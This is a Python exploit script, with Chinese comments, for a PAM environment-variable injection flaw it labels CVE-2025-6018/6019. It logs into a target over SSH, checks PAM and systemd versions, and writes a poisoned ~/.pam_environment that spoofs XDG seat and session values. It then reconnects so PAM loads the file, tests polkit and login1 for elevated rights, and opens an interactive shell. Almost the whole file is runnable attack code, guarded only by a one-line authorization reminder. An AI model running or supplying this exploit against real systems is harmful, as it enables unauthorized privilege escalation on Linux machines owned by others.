1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276

import paramiko
import time
import sys
import socket
import argparse
import logging
from datetime import datetime

# 日志配置
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S',
    handlers=[
        logging.FileHandler('cve_2025_6018_exploit.log'),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

class CVEExploit:
    def __init__(self):
        self.vulnerable_versions = [
            "pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", 
            "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"
        ]
        
    def check_vulnerability(self, client):
        """增强型漏洞检测"""
        logger.info("开始漏洞评估")
        
        checks = {
            "pam_version": "rpm -q pam || dpkg -l | grep libpam",
            "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null",
            "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null",
            "systemd_version": "systemctl --version | head -1"
        }

        vulnerable = False
        
        for check_name, command in checks.items():
            logger.info(f"执行检查: {check_name}")
            try:
                stdin, stdout, stderr = client.exec_command(command, timeout=10)
                output = stdout.read().decode().strip()
                
                if check_name == "pam_version":
                    for vuln_ver in self.vulnerable_versions:
                        if vuln_ver in output:
                            logger.info(f"检测到易受攻击的PAM版本: {vuln_ver}")
                            vulnerable = True
                            break
                            
                elif check_name == "pam_env" and output:
                    logger.info("发现pam_env.so配置")
                    vulnerable = True
                    
                elif check_name == "pam_systemd" and output:
                    logger.info("发现pam_systemd.so - 存在提权向量")
                    
                if output and check_name != "pam_version":
                    logger.debug(f"命令输出: {output[:100]}...")
                    
            except Exception as e:
                logger.warning(f"检查{check_name}失败: {e}")
            
            time.sleep(0.5)

        return vulnerable

    def create_malicious_environment(self, client):
        """创建恶意环境文件"""
        logger.info("创建恶意环境文件")
        
        payload = '''# CVE-2025-6018环境变量污染
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug'''

        try:
            logger.info("写入.pam_environment文件")
            cmd = f"cat > ~/.pam_environment << 'EOF'\n{payload}\nEOF"
            stdin, stdout, stderr = client.exec_command(cmd)
            
            # 验证创建
            stdin, stdout, stderr = client.exec_command("cat ~/.pam_environment")
            output = stdout.read().decode()
            
            if "OVERRIDE" in output:
                logger.info("恶意环境文件创建成功")
                return True
            else:
                logger.error("创建环境文件失败")
                return False
                
        except Exception as e:
            logger.error(f"环境变量污染失败: {e}")
            return False

    def test_privilege_escalation(self, client):
        """测试提权向量"""
        logger.info("测试提权向量")
        
        tests = [
            ("SystemD重启测试", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot", "yes"),
            ("SystemD关机测试", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanPowerOff", "yes"),
            ("PolicyKit检查", "pkcheck --action-id org.freedesktop.policykit.exec --process $$ 2>/dev/null || echo 'denied'", "authorized")
        ]
        
        escalated = False
        
        for test_name, command, success_indicator in tests:
            logger.info(f"测试: {test_name}")
            try:
                stdin, stdout, stderr = client.exec_command(command, timeout=10)
                output = stdout.read().decode().strip()
                
                if success_indicator in output.lower():
                    logger.info(f"检测到权限提升: {test_name}")
                    escalated = True
                else:
                    logger.info(f"未检测到提权: {test_name}")
                    
            except Exception as e:
                logger.warning(f"测试{test_name}失败: {e}")
        
        return escalated

    def interactive_shell(self, client):
        """交互式shell"""
        logger.info("启动交互式shell会话")

        shell = client.invoke_shell()
        shell.send("export PS1='exploit$ '\n")
        time.sleep(1)
        
        # 清除缓冲区
        while shell.recv_ready():
            shell.recv(1024)

        print("\n--- 交互式Shell ---")
        print("命令: 'exit'退出, 'status'检查权限")
        
        while True:
            try:
                command = input("exploit$ ")
                
                if command.lower() == 'exit':
                    break
                elif command.lower() == 'status':
                    stdin, stdout, stderr = client.exec_command("id && groups")
                    print(stdout.read().decode())
                    continue

                shell.send(command + "\n")
                time.sleep(0.5)
                
                while shell.recv_ready():
                    output = shell.recv(1024).decode('utf-8', errors='ignore')
                    print(output, end='')
                    
            except KeyboardInterrupt:
                logger.warning("使用'exit'正确退出")
            except Exception as e:
                logger.error(f"Shell错误: {e}")
                break

    def run_exploit(self, hostname, username, password=None, key_filename=None, port=22):
        """主漏洞利用函数"""
        logger.info(f"开始针对{hostname}:{port}的CVE-2025-6018漏洞利用")
        
        try:
            # 初始连接
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            logger.info(f"连接到{hostname}:{port} 用户{username}")
            client.connect(hostname, port=port, username=username, 
                           password=password, key_filename=key_filename, timeout=10)
            logger.info("SSH连接建立成功")

            # 检查漏洞
            if not self.check_vulnerability(client):
                logger.error("目标似乎不受CVE-2025-6018/6019影响")
                return False

            logger.info("目标存在漏洞，继续利用")

            # 创建恶意环境
            if not self.create_malicious_environment(client):
                logger.error("创建恶意环境失败")
                return False

            logger.info("重新连接以触发PAM环境加载")
            client.close()
            time.sleep(2)

            # 重新连接触发PAM
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(hostname, port=port, username=username, 
                           password=password, key_filename=key_filename)
            logger.info("重新连接成功")

            # 测试权限提升
            if self.test_privilege_escalation(client):
                logger.info("利用成功 - 确认权限提升")
                self.interactive_shell(client)
            else:
                logger.warning("未检测到明显权限提升")
                logger.info("可能需要手动验证")

            return True

        except paramiko.AuthenticationException:
            logger.error("认证失败 - 检查凭证")
        except paramiko.SSHException as e:
            logger.error(f"SSH错误: {e}")
        except socket.error as e:
            logger.error(f"网络错误: {e}")
        except Exception as e:
            logger.error(f"意外错误: {e}")
        finally:
            try:
                client.close()
            except:
                pass
            logger.info("连接关闭")

        return False

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-6018/6019 PAM环境变量注入漏洞利用",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
示例:
  python3 %(prog)s -i 192.168.1.100 -u testuser -p password123
  python3 %(prog)s -i target.com -u admin -k ~/.ssh/id_rsa
        """
    )

    parser.add_argument("-i", "--hostname", required=True, help="目标主机名或IP")
    parser.add_argument("-u", "--username", required=True, help="SSH用户名")
    parser.add_argument("-p", "--password", help="SSH密码")
    parser.add_argument("-k", "--key", dest="key_filename", help="SSH私钥文件")
    parser.add_argument("--port", type=int, default=22, help="SSH端口(默认: 22)")
    parser.add_argument("-v", "--verbose", action="store_true", help="启用详细日志")

    args = parser.parse_args()

    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)

    if not args.password and not args.key_filename:
        parser.error("请提供密码(-p)或私钥(-k)")

    # 安全警告
    logger.warning("请在获得适当授权后使用！")
    
    exploit = CVEExploit()
    success = exploit.run_exploit(
        hostname=args.hostname,
        username=args.username,
        password=args.password,
        key_filename=args.key_filename,
        port=args.port
    )
    
    sys.exit(0 if success else 1)

if __name__ == "__main__":
    main()